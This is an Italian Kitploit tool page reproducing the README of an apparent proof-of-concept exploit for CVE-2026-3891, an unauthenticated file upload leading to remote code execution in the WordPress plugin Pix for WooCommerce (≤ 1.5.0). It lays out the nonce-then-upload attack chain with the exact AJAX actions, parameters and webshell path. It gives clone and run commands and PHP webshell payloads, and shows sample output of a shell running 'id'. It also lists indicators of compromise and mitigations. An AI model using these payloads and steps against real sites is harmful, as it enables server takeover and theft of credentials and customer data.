Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-3891 — PoC per CVE-2026-3891 – Upload di file non autenticato con RCE in Pix for WooCommerce ≤ 1.5.0. Recupero automatico del nonce, upload PHP ed esecuzione di comandi. | Kitploit
Strumenti/GitHubGitHub/ch4120n/cve-2026-3891
ExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubch4120n/cve-2026-3891

CVE-2026-3891

PoC per CVE-2026-3891 – Upload di file non autenticato con RCE in Pix for WooCommerce ≤ 1.5.0. Recupero automatico del nonce, upload PHP ed esecuzione di comandi.

Vedi Repository
21 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🚀 CVE-2026-3891 – Pix for WooCommerce: Caricamento File Non Autenticato e RCE

Python Exploit CVE

GitHub stars GitHub issues License

Exploit Proof-of-Concept per CVE-2026-3891 – caricamento arbitrario di file non autenticato che porta all'esecuzione remota di codice nel plugin WordPress Pix for WooCommerce (≤ 1.5.0).


📖 Panoramica

CVE-2026-3891 è una vulnerabilità critica nel plugin Pix for WooCommerce, che interessa tutte le versioni fino alla . Il plugin non applica controlli adeguati di autorizzazione e di tipo di file nel suo handler AJAX . Un attaccante non autenticato può sfruttare questa falla per caricare file PHP arbitrari in una directory accessibile pubblicamente e ottenere l'esecuzione remota di codice sul server WordPress sottostante.

1.5.0
lkn_pix_for_woocommerce_c6_save_settings

Questo repository contiene un PoC di livello produttivo che automatizza l'intera catena di attacco – dal recupero di un nonce valido al caricamento di una webshell – con una gestione robusta degli errori e una bella interfaccia CLI.

🔍 Caratteristiche principali

  • Davvero non autenticato – non richiede credenziali WordPress né cookie di sessione.
  • Estrazione automatica del nonce – l'exploit recupera il nonce di sicurezza necessario tramite la stessa interfaccia AJAX pubblica.
  • Caricamento file multipart – costruisce correttamente il parametro file certificate_crt_path atteso dall'handler vulnerabile.
  • Generazione diretta dell'URL – fornisce immediatamente l'URL pubblico del payload caricato.
  • Verifiche post-exploitation – verifica opzionale dell'avvenuto caricamento ed esecuzione dei comandi al volo (--check).
  • Gestione avanzata degli errori – gestisce con eleganza Cloudflare, WAF, timeout e risposte malformate.
  • Output pulito e informativo – tutti i messaggi sono prefissati con [ * ], [ + ], [ - ], [ ! ] per una lettura immediata.

🧬 Dettagli della Vulnerabilità

La causa principale risiede in due azioni AJAX registrate dal plugin:

1. lkn_pix_for_woocommerce_generate_nonce

root@kitploit:~
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

Questa azione è registrata su wp_ajax_nopriv_*, rendendola accessibile ai visitatori non autenticati. Genera un nonce per l'azione lkn_pix_for_woocommerce_c6_settings_nonce e lo restituisce in un involucro JSON:

root@kitploit:~
{"success":true,"data":{"nonce":"abc123..."}}

Non viene eseguito alcun controllo dei permessi né autenticazione dell'utente: chiunque può richiedere un nonce valido.

2. lkn_pix_for_woocommerce_c6_save_settings

root@kitploit:~
add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

Questo handler salva le impostazioni del plugin, incluso un campo di caricamento file chiamato certificate_crt_path. Sebbene il caricamento avvenga tramite l'helper media_handle_upload di WordPress, il plugin non:

  • Verifica che la richiesta provenga da un utente autenticato e autorizzato (manca current_user_can).
  • Applica restrizioni sul tipo di file o sull'estensione (ad esempio, consente file .php).
  • Archivia il file in una posizione non eseguibile: finisce in:
    root@kitploit:~
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    che è direttamente accessibile via web.

Poiché il nonce protegge solo da CSRF e può essere ottenuto da chiunque, un attaccante può concatenare queste due azioni per caricare ed eseguire codice PHP arbitrario.

Versioni Interessate

  • Versioni ≤ 1.5.0 di Pix for WooCommerce
  • La vulnerabilità è stata confermata su installazioni WordPress pulite con configurazioni predefinite.

Impatto

  • Esecuzione remota di codice – accesso completo a una webshell con i privilegi del server web (tipicamente www-data o apache).
  • Esfiltrazione di dati – lettura di wp-config.php, credenziali del database, dati dei clienti.
  • Persistenza – modifica dei file principali, installazione di backdoor.
  • Compromissione completa del sito – escalation a admin di WordPress se il database è accessibile.

🛠️ Requisiti per lo Sfruttamento

  • Accesso di rete al sito WordPress target (nessuna autenticazione richiesta).
  • Python 3.8+ con la libreria requests (installabile con pip install requests).
  • Il target deve avere il plugin vulnerabile installato e attivo (la configurazione predefinita è sufficiente).

🚀 Utilizzo

Installazione

root@kitploit:~
git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

Comando di base

root@kitploit:~
python CVE-2026-3891.py http://target.com/wordpress

Per un maggiore controllo, usa le opzioni da riga di comando:

root@kitploit:~
python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

Esempio di Output

root@kitploit:~
  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Opzioni della riga di comando

OpzioneDescrizionePredefinito
target (posizionale)URL di base del sito WordPress.Obbligatorio
-f, --filenameNome del file PHP caricato.woocommerce.php
-p, --payloadCodice PHP da caricare.<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeoutTimeout delle richieste in secondi.15
-r, --retriesNumero massimo di tentativi per il recupero del nonce.2
--no-bannerSopprimi l'ASCII art.(off)
--no-verifySalta il controllo di accessibilità dopo il caricamento.(off)
--checkEsegui id sulla webshell dopo il caricamento.(off)

🧪 Dettagli Tecnici per Rilevamento e Ottimizzazione

Endpoint di Generazione del Nonce

  • URL: http://target/wp-admin/admin-ajax.php
  • Azione: lkn_pix_for_woocommerce_generate_nonce
  • Parametro: action_name=lkn_pix_for_woocommerce_c6_settings_nonce
  • Risposta: {"success":true,"data":{"nonce":"..."}}
  • Nota: il nonce è sempre ottenibile perché l'azione è registrata con wp_ajax_nopriv_*. Non è necessario alcun cookie o sessione.

Parametri di Caricamento File

  • URL: stesso admin-ajax.php
  • Azione: lkn_pix_for_woocommerce_c6_save_settings
  • Campi richiesti:
    • _ajax_nonce – il nonce recuperato in precedenza
    • certificate_crt_path – un caricamento file multipart (il payload)
  • Tipo di file: il plugin non valida l'estensione, quindi i file .php vengono accettati e salvati senza rinominazione.

Percorso di Archiviazione Pubblico

Dopo un caricamento riuscito, il file si trova in:

root@kitploit:~
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>

Questa directory è direttamente accessibile via web; i file PHP verranno eseguiti se il server web è configurato per elaborarli (che è l'impostazione predefinita per i server gestiti da WordPress).

Indicatori di Compromissione (IoC)

  • File PHP inattesi che compaiono nella directory certs_c6 (soprattutto file come woocommerce.php, shell.php, ecc.).
  • Richieste POST insolite a admin-ajax.php con le azioni elencate sopra, provenienti da IP non attendibili.
  • Log di accesso che mostrano richieste dirette a .../certs_c6/ con parametri di query come ?cmd=id.

🛡️ Rilevamento e Mitigazione

Rilevamento

Monitora i log di WordPress per:

  • Richieste POST ripetute a /wp-admin/admin-ajax.php con action=lkn_pix_for_woocommerce_generate_nonce e action=lkn_pix_for_woocommerce_c6_save_settings.
  • Creazione di nuovi file nella cartella certs_c6. Usa uno strumento di monitoraggio dell'integrità dei file (ad es. Tripwire, OSSEC) per ricevere avvisi sulle modifiche.
  • Log del server web che mostrano l'esecuzione di file PHP in quella directory da IP esterni.

Mitigazione

  1. Aggiorna il plugin – verifica la disponibilità di una versione >1.5.0 che contenga la correzione ufficiale (se rilasciata).
  2. Applica una patch virtuale – blocca l'accesso alle azioni AJAX vulnerabili con una regola WAF (ad es. ModSecurity, Cloudflare WAF).
  3. Limita l'esecuzione dei file – se il plugin è necessario, configura il server web per negare l'esecuzione di PHP all'interno della directory certs_c6 (ad es. usando .htaccess con php_flag engine off).
  4. Rafforza gli handler AJAX – se mantieni il plugin, assicurati che entrambe le azioni siano accessibili solo a utenti autenticati e autorizzati (current_user_can('manage_options') per la generazione del nonce, e una corretta verifica del nonce oltre a un controllo dei permessi per il caricamento).
  5. Disattiva il plugin – se Pix for WooCommerce non è essenziale, rimuovilo completamente.

👏 Crediti

  • Sviluppo dell'exploit e PoC: Ch4120N
  • Analisi della vulnerabilità: Ricerca di sicurezza indipendente

📄 Licenza

Questo progetto è concesso in licenza MIT – consulta il file LICENSE per i dettagli.

Disclaimer: Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo software.


📚 Riferimenti

  • NIST NVD – CVE-2026-3891
  • WordPress Plugin Repository – Pix for WooCommerce (controlla il changelog per le versioni corrette)
  • Patchstack / WPScan Vulnerability Database (se la voce esiste)

⭐ Supporto

Se trovi utile questo PoC, valuta di assegnargli una ⭐ su GitHub e di condividerlo in modo responsabile. Contributi, segnalazioni di problemi e pull request sono benvenuti!


Buon hacking! 🛡️

Scarica lo strumento